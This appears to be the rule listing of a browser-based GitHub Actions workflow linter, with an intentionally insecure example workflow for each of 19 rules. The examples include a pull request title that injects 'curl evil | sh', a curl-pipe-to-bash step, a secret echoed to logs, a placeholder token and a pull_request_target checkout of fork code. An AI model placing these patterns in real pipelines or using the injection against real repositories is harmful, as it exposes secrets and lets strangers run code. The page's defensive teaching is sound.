GitHub Actions workflow doctor
Paste a workflow from .github/workflows. The doctor finds unpinned actions, expression injection in run steps, dangerous pull_request_target use, over-broad token permissions and secrets that can leak into logs.
Everything runs in your browser. Nothing you paste is uploaded. Also try the paste-anything box or the AI-output verifier.
What the GitHub Actions doctor checks
CI runs with your secrets and your deploy keys, which makes a workflow file one of the most sensitive files in a repository. Attacks on popular actions and on pull_request_target workflows have shown that a small configuration slip lets a stranger run code with write access. The checks below cover the mistakes behind those incidents, plus the maintenance issues that make pipelines slow or flaky.
There are 19 rules in this doctor: 9 high severity, 4 medium and 6 low. Each rule has a stable anchor, so you can link a teammate straight to the explanation, for example /doctor/github-actions/#rule-action-branch-ref.
All 19 rules
HighAction pinned to a moving branch#
Why it matters. uses: owner/action@main runs whatever is on that branch at the moment the job starts, so a compromised or broken push hits your pipeline instantly.
Fix. Pin to a release tag, and for third-party actions to a full commit SHA. GitHub Actions Java CI generator
name: ci
on: push
permissions:
contents: read
jobs:
b:
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- uses: some/action@mainLowThird-party action is not pinned to a commit SHA#
Why it matters. Tags can be moved by the action owner. The tj-actions/changed-files incident in 2025 hit every repository that used a tag.
Fix. Use owner/action@<40-char sha> # v1.2.3 and let Dependabot update it. GitHub Actions Java CI generator
name: ci
on: push
permissions:
contents: read
jobs:
b:
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- uses: some/action@v1HighAction used without any version#
Why it matters. Without @ref the default branch is used, which is the same as pinning to main.
Fix. Add @v<major> or a commit SHA. GitHub Actions Java CI generator
name: ci
on: push
permissions:
contents: read
jobs:
b:
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- uses: some/actionMediumOutdated actions/checkout or setup action#
Why it matters. Versions 1 to 3 run on Node 16/12 which GitHub has removed, producing deprecation warnings and eventually failures.
Fix. Use actions/checkout@v4 or newer, actions/setup-java@v4, actions/cache@v4. GitHub Actions Java CI generator
name: ci
on: push
permissions:
contents: read
jobs:
b:
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- uses: actions/checkout@v2MediumNo permissions block#
Why it matters. Without permissions the GITHUB_TOKEN gets the repository default, which is often read-write for everything.
Fix. Add permissions: contents: read at the top and widen per job only where needed. GitHub Actions Java CI generator
name: ci
on: push
jobs:
b:
runs-on: ubuntu-24.04
steps:
- run: echo hiHighpermissions: write-all#
Why it matters. Every scope becomes writable, so any compromised step can push code, create releases and edit workflows.
Fix. List only the scopes needed, for example contents: read and pull-requests: write. GitHub Actions Java CI generator
name: ci
on: push
permissions: write-all
jobs:
b:
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- run: echo hiHighpull_request_target checks out the PR head#
Why it matters. pull_request_target runs with secrets and a write token. Checking out and building the contributor code lets a fork steal them.
Fix. Use pull_request, or split into an unprivileged build and a privileged workflow_run that never executes PR code.
name: x
on: pull_request_target
jobs:
b:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}HighUntrusted text interpolated into a run step#
Why it matters. Expressions such as ${{ github.event.issue.title }} are pasted into the shell script before it runs, so a title like "; curl evil | sh" executes.
Fix. Pass the value through env: and read it as "$TITLE" in the script.
name: ci
on: push
permissions:
contents: read
jobs:
b:
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- run: echo "${{ github.event.pull_request.title }}"HighSecret printed or passed on a command line#
Why it matters. Secrets echoed to the log are masked only when they match exactly; base64 or a substring leaks, and arguments show up in process lists.
Fix. Pass secrets as env vars to the tool that needs them and never echo them.
name: ci
on: push
permissions:
contents: read
jobs:
b:
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- run: echo ${{ secrets.TOKEN }}MediumDeprecated workflow command#
Why it matters. ::set-output, ::save-state, ::set-env and ::add-path are disabled; set-env and add-path were also a code-injection hole.
Fix. Write to $GITHUB_OUTPUT, $GITHUB_STATE, $GITHUB_ENV and $GITHUB_PATH instead.
name: ci
on: push
permissions:
contents: read
jobs:
b:
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- run: echo "::set-output name=v::1"Lowruns-on uses a floating -latest image#
Why it matters. ubuntu-latest moves to a new OS release on GitHub's schedule, so a green pipeline can turn red with no commit.
Fix. Pin ubuntu-24.04 (or the version you test on).
name: x
on: push
permissions:
contents: read
jobs:
b:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- run: echo hiLowJob without timeout-minutes#
Why it matters. A hung job runs for the default six hours and burns your minutes.
Fix. Set timeout-minutes (10 to 30 is plenty for most builds).
name: x
on: push
permissions:
contents: read
jobs:
b:
runs-on: ubuntu-24.04
steps:
- run: echo hiLowNo concurrency group#
Why it matters. Pushing twice starts two full builds; the stale one wastes minutes and can deploy older code last.
Fix. Add concurrency: { group: ${{ github.workflow }}-${{ github.ref }}, cancel-in-progress: true } for CI (not for deploys).
name: ci
on: push
permissions:
contents: read
jobs:
b:
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- run: echo hiMediumDownloads and runs a script in one step#
Why it matters. curl | bash executes whatever the server returns that second, with your secrets in scope.
Fix. Download, verify a checksum or signature, then run.
name: ci
on: push
permissions:
contents: read
jobs:
b:
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- run: curl -sSL https://x.sh | bashHighSelf-hosted runner on pull requests#
Why it matters. Anyone who can open a pull request can run code on your own machines, which persist between jobs.
Fix. Use GitHub-hosted runners for public repositories, or require approval and ephemeral runners.
name: x
on: pull_request
permissions:
contents: read
jobs:
b:
runs-on: self-hosted
steps:
- run: echo hiHighToken written in the workflow#
Why it matters. ghp_, github_pat_, AKIA or xox keys in a repository are scraped within minutes of being pushed.
Fix. Revoke it now, then store it as an encrypted secret or use OIDC for cloud access.
name: ci
on: push
permissions:
contents: read
jobs:
b:
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- run: echo ghp_abcdefghijklmnopqrstuvwxyz0123456789Lowsetup-java without dependency cache#
Why it matters. Every run downloads the whole Maven or Gradle dependency set again.
Fix. Add cache: maven (or gradle) to the actions/setup-java step. GitHub Actions Java CI generator
name: ci
on: push
permissions:
contents: read
jobs:
b:
runs-on: ubuntu-24.04
timeout-minutes: 15
steps:
- uses: actions/setup-java@v4
with:
java-version: 21
distribution: temurinLowschedule trigger is evaluated in UTC#
Why it matters. GitHub cron has no time zone, so 0 9 * * * is 09:00 UTC, and it can be delayed by several minutes at busy times such as the top of the hour.
Fix. Convert from your local time with the UTC converter and avoid minute 0. Local time to UTC cron
name: x
on:
schedule:
- cron: "0 9 * * *"
permissions:
contents: read
jobs:
b:
runs-on: ubuntu-24.04
timeout-minutes: 5
steps:
- run: echo hiHighThe YAML does not parse#
Why it matters. GitHub shows "Invalid workflow file" and the workflow never runs.
Fix. Fix the indentation or quoting at the reported line. YAML to JSON
on: push
jobs:
a:
runs-on: x
steps: []Frequently asked questions
Why pin an action to a commit SHA?
Tags and branches can be moved by the action owner or by an attacker who compromises the owner account. A full 40-character commit SHA is immutable. Dependabot can keep pinned SHAs up to date.
What is script injection in a workflow?
When a run step contains ${{ github.event.pull_request.title }}, the value is pasted into the shell script before it runs, so a crafted title can execute commands. Pass it through env: and quote it as a shell variable.
Is pull_request_target always bad?
No, but it runs with secrets and a write token, so it must never check out and run code from the pull request. The doctor flags that combination.
Does it validate the schema?
It checks YAML syntax and common risks, not every key of the workflow schema. Use actionlint in CI for full schema validation.